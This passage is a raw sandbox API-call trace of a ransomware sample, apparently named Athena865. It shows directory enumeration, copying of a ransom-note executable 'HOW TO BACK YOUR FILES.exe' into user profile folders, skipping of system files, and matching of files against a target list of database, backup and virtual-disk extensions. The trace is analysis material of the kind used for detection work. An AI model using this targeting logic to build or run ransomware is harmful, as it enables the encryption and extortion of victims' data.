lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.148] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc2e9220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.149] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.149] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.149] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.149] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc2e9220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.149] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.149] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.149] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.149] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.149] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2e9220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.149] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.149] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2e9220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0034.149] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.149] ReleaseMutex (hMutex=0xec) returned 1 [0034.149] CloseHandle (hObject=0xec) returned 1 [0034.149] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0034.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509550 | out: hHeap=0x4f0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508ff0 | out: hHeap=0x4f0000) returned 1 [0034.149] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0034.149] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FC1F7ACB27DCB283CD59DCC2C4883B95") returned 0xec [0034.149] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.149] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0034.149] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.149] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.150] CreateFileW (lpFileName="C:\\Documents and Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.150] GetLastError () returned 0x0 [0034.150] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.150] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.150] CloseHandle (hObject=0xf4) returned 1 [0034.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.151] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.151] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc2e9220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.151] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.151] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.151] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.151] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc2e9220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.151] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.151] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.151] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.151] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.151] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="windows") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="bootmgr") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="temp") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="pagefile.sys") returned -1 [0034.151] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="boot") returned -1 [0034.152] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ids.txt") returned -1 [0034.152] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ntuser.dat") returned -1 [0034.152] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="perflogs") returned -1 [0034.152] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="MSBuild") returned -1 [0034.152] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz") returned 20 [0034.152] lstrcpyW (in: lpString1=0x241e87c, lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="5p5NrGJn0jS HALPmcxz") returned="5p5NrGJn0jS HALPmcxz" [0034.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508ff0 [0034.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51af88 [0034.152] lstrcatW (in: lpString1="5p5NrGJn0jS HALPmcxz", lpString2="\\" | out: lpString1="5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0034.152] lstrcatW (in: lpString1="5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe") returned="5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" [0034.152] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.154] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="temp") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="pagefile.sys") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="boot") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="ids.txt") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="perflogs") returned -1 [0034.154] lstrcmpiW (lpString1="All Users", lpString2="MSBuild") returned -1 [0034.154] lstrlenW (lpString="All Users") returned 9 [0034.154] lstrcpyW (in: lpString1=0x241e87c, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0034.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0034.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517028 [0034.155] lstrcatW (in: lpString1="All Users", lpString2="\\" | out: lpString1="All Users\\") returned="All Users\\" [0034.155] lstrcatW (in: lpString1="All Users\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="All Users\\HOW TO BACK YOUR FILES.exe") returned="All Users\\HOW TO BACK YOUR FILES.exe" [0034.155] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.155] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2=".") returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="..") returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="windows") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="bootmgr") returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="temp") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="pagefile.sys") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="boot") returned 1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="ids.txt") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="ntuser.dat") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="perflogs") returned -1 [0034.155] lstrcmpiW (lpString1="Default", lpString2="MSBuild") returned -1 [0034.155] lstrlenW (lpString="Default") returned 7 [0034.155] lstrcpyW (in: lpString1=0x241e87c, lpString2="Default" | out: lpString1="Default") returned="Default" [0034.156] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default", dwFileAttributes=0x12) returned 1 [0034.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c260 [0034.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517118 [0034.156] lstrcatW (in: lpString1="Default", lpString2="\\" | out: lpString1="Default\\") returned="Default\\" [0034.156] lstrcatW (in: lpString1="Default\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default\\HOW TO BACK YOUR FILES.exe") returned="Default\\HOW TO BACK YOUR FILES.exe" [0034.156] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.160] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2=".") returned 1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="..") returned 1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="windows") returned -1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="bootmgr") returned 1 [0034.160] lstrcmpiW (lpString1="Default User", lpString2="temp") returned -1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="pagefile.sys") returned -1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="boot") returned 1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="ids.txt") returned -1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="ntuser.dat") returned -1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="perflogs") returned -1 [0034.161] lstrcmpiW (lpString1="Default User", lpString2="MSBuild") returned -1 [0034.161] lstrlenW (lpString="Default User") returned 12 [0034.161] lstrcpyW (in: lpString1=0x241e87c, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0034.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c278 [0034.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515c38 [0034.161] lstrcatW (in: lpString1="Default User", lpString2="\\" | out: lpString1="Default User\\") returned="Default User\\" [0034.161] lstrcatW (in: lpString1="Default User\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default User\\HOW TO BACK YOUR FILES.exe") returned="Default User\\HOW TO BACK YOUR FILES.exe" [0034.161] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.161] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.161] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.161] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.161] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0034.161] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0034.161] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0034.162] lstrlenW (lpString="desktop.ini") returned 11 [0034.162] lstrcpyW (in: lpString1=0x241e87c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0034.162] lstrlenW (lpString="desktop.ini") returned 11 [0034.162] lstrlenW (lpString="Athena865") returned 9 [0034.162] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0034.162] lstrlenW (lpString=".dll") returned 4 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0034.162] lstrlenW (lpString=".lnk") returned 4 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0034.162] lstrlenW (lpString=".ini") returned 4 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0034.162] lstrlenW (lpString=".sys") returned 4 [0034.162] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0034.162] lstrlenW (lpString="desktop.ini") returned 11 [0034.162] lstrlenW (lpString="bak") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0034.162] lstrlenW (lpString="ba_") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0034.162] lstrlenW (lpString="dbb") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0034.162] lstrlenW (lpString="vmdk") returned 4 [0034.162] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0034.162] lstrlenW (lpString="rar") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0034.162] lstrlenW (lpString="zip") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0034.162] lstrlenW (lpString="tgz") returned 3 [0034.162] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0034.162] lstrlenW (lpString="vbox") returned 4 [0034.163] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0034.163] lstrlenW (lpString="vdi") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0034.163] lstrlenW (lpString="vhd") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0034.163] lstrlenW (lpString="vhdx") returned 4 [0034.163] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0034.163] lstrlenW (lpString="avhd") returned 4 [0034.163] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0034.163] lstrlenW (lpString="db") returned 2 [0034.163] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0034.163] lstrlenW (lpString="db2") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0034.163] lstrlenW (lpString="db3") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0034.163] lstrlenW (lpString="dbf") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0034.163] lstrlenW (lpString="mdf") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0034.163] lstrlenW (lpString="mdb") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0034.163] lstrlenW (lpString="sql") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0034.163] lstrlenW (lpString="sqlite") returned 6 [0034.163] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0034.163] lstrlenW (lpString="sqlite3") returned 7 [0034.163] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0034.163] lstrlenW (lpString="sqlitedb") returned 8 [0034.163] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0034.163] lstrlenW (lpString="xml") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0034.163] lstrlenW (lpString="$er") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0034.163] lstrlenW (lpString="4dd") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0034.163] lstrlenW (lpString="4dl") returned 3 [0034.163] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0034.163] lstrlenW (lpString="^^^") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0034.164] lstrlenW (lpString="abs") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0034.164] lstrlenW (lpString="abx") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0034.164] lstrlenW (lpString="accdb") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0034.164] lstrlenW (lpString="accdc") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0034.164] lstrlenW (lpString="accde") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0034.164] lstrlenW (lpString="accdr") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0034.164] lstrlenW (lpString="accdt") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0034.164] lstrlenW (lpString="accdw") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0034.164] lstrlenW (lpString="accft") returned 5 [0034.164] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0034.164] lstrlenW (lpString="adb") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.164] lstrlenW (lpString="adb") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.164] lstrlenW (lpString="ade") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0034.164] lstrlenW (lpString="adf") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0034.164] lstrlenW (lpString="adn") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0034.164] lstrlenW (lpString="adp") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0034.164] lstrlenW (lpString="alf") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0034.164] lstrlenW (lpString="ask") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0034.164] lstrlenW (lpString="btr") returned 3 [0034.164] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0034.164] lstrlenW (lpString="cat") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0034.165] lstrlenW (lpString="cdb") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0034.165] lstrlenW (lpString="ckp") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0034.165] lstrlenW (lpString="cma") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0034.165] lstrlenW (lpString="cpd") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0034.165] lstrlenW (lpString="dacpac") returned 6 [0034.165] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0034.165] lstrlenW (lpString="dad") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0034.165] lstrlenW (lpString="dadiagrams") returned 10 [0034.165] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0034.165] lstrlenW (lpString="daschema") returned 8 [0034.165] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0034.165] lstrlenW (lpString="db-journal") returned 10 [0034.165] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0034.165] lstrlenW (lpString="db-shm") returned 6 [0034.165] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0034.165] lstrlenW (lpString="db-wal") returned 6 [0034.165] lstrcmpiW 